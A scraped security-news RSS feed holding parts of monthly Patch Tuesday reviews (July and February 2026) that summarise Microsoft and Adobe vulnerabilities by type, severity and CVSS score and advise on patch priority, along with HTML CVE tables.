  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Knowing When Not to Use AI: AI Agents vs Rules vs ML]]></title>
<description><![CDATA[YouTube Video]]></description>
<link>https://tsecurity.de/de/3694530/it-security-video/knowing-when-not-to-use-ai-ai-agents-vs-rules-vs-ml/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694530/it-security-video/knowing-when-not-to-use-ai-ai-agents-vs-rules-vs-ml/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:22 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>YouTube Video</p><p><iframe loading="lazy" src="https://www.youtube.com/embed/_ZqSFVi6UDY"></iframe></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The February 2026 Security Update Review]]></title>
<description><![CDATA[I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire re...]]></description>
<link>https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for February 2026</strong></p><p class="">For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for <a href="https://helpx.adobe.com/security/products/after_effects/apsb26-15.html">After Effects</a>, which fixes 13 Critical and two Important rated bugs. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-19.html">Substance 3D Designer</a> is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-20.html">Substance 3D Stager</a> corrects five Critical-rated bugs that could lead to code execution. The <a href="https://helpx.adobe.com/security/products/audition/apsb26-14.html">Audition</a> patch fixes six bugs, but only one is Critical.</p><p class="">The other patches are smaller in size. The fix for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-23.html">Adobe DNG Software Development Kit (SDK)</a> corrects two Critical and two Important-rated bugs. The <a href="https://helpx.adobe.com/security/products/indesign/apsb26-17.html">InDesign</a> patch fixes three bugs, but only one is Critical. The update for <a href="https://helpx.adobe.com/security/products/bridge/apsb26-21.html">Adobe Bridge</a> fixes two Critical bug that could lead to code execution. The patch for <a href="https://helpx.adobe.com/security/products/lightroom/apsb26-06.html">Lightroom Classic</a> addresses a single Critical bug, and the release is wrapped up with a patch for <a href="https://helpx.adobe.com/security/products/substance3d-modeler/apsb26-22.html">Substance 3D Modeler</a> that fixes a single, Important-rated memory link.</p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for February 2026</strong></p><p class="">This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.</p><p class="">It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration. </p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack: </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><strong>CVE-2026-21510</strong></a><strong> - Windows Shell Security Feature Bypass Vulnerability<br></strong>This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><strong>CVE-2026-21514</strong></a><strong> - Microsoft Word Security Feature Bypass Vulnerability<br></strong>This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is <em>not</em> an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><strong>CVE-2026-21519</strong></a><strong> - Desktop Window Manager Elevation of Privilege Vulnerability<br></strong>This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><strong>CVE-2026-21533</strong></a><strong> - Windows Remote Desktop Services Elevation of Privilege Vulnerability<br></strong>Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><strong>CVE-2026-21513</strong></a><strong> - Internet Explorer Security Feature Bypass Vulnerability<br></strong>Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><strong>CVE-2026-21525</strong></a><strong> - Windows Remote Access Connection Manager Denial of Service Vulnerability<br></strong>It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.</p><p class="">Here’s the full list of CVEs released by Microsoft for February 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-Feb.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl69">
 <col width="263" class="xl72">
 <col width="111" class="xl71" span="4">
 <col width="95" class="xl71">
 <tr height="48">
  <td width="151" class="xl69" height="48"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl72"><span> </span>Title<span> </span></td>
  <td width="111" class="xl71"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl71"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl71"><span> </span>Public</td>
  <td width="111" class="xl71"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl71"><span> </span>TYPE<span> </span></td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><span><span> </span>CVE-2026-21514<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Word Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><span><span> </span>CVE-2026-21510<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Shell Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><span><span> </span>CVE-2026-21513<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Internet Explorer Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><span><span> </span>CVE-2026-21519<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Desktop Window Manager Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl74" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><span><span> </span>CVE-2026-21533<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Desktop Services Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><span><span> </span>CVE-2026-21525<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Access Connection Manager
  Denial of Service Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21511"><span><span> </span>CVE-2026-21511<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-2804"><span><span> </span>CVE-2023-2804 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Red Hat, Inc. CVE-2023-2804: Heap Based
  Overflow libjpeg-turbo<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>Yes<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24302"><span><span> </span>CVE-2026-24302<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Arc Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.6</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24300"><span><span> </span>CVE-2026-24300<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Front Door Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21532"><span><span> </span>CVE-2026-21532<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Function Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21522"><span><span> </span>CVE-2026-21522<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23655"><span><span> </span>CVE-2026-23655<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21218"><span><span> </span>CVE-2026-21218<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>.NET and Visual Studio Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21512"><span><span> </span>CVE-2026-21512<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure DevOps Server Cross-Site Scripting
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">XSS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21529"><span><span> </span>CVE-2026-21529 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Azure HDInsight Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21528"><span><span> </span>CVE-2026-21528<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21228"><span><span> </span>CVE-2026-21228<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Local Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.1</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21531"><span><span> </span>CVE-2026-21531<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure SDK for Python Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21251"><span><span> </span>CVE-2026-21251<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Cluster Client Failover (CCF) Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
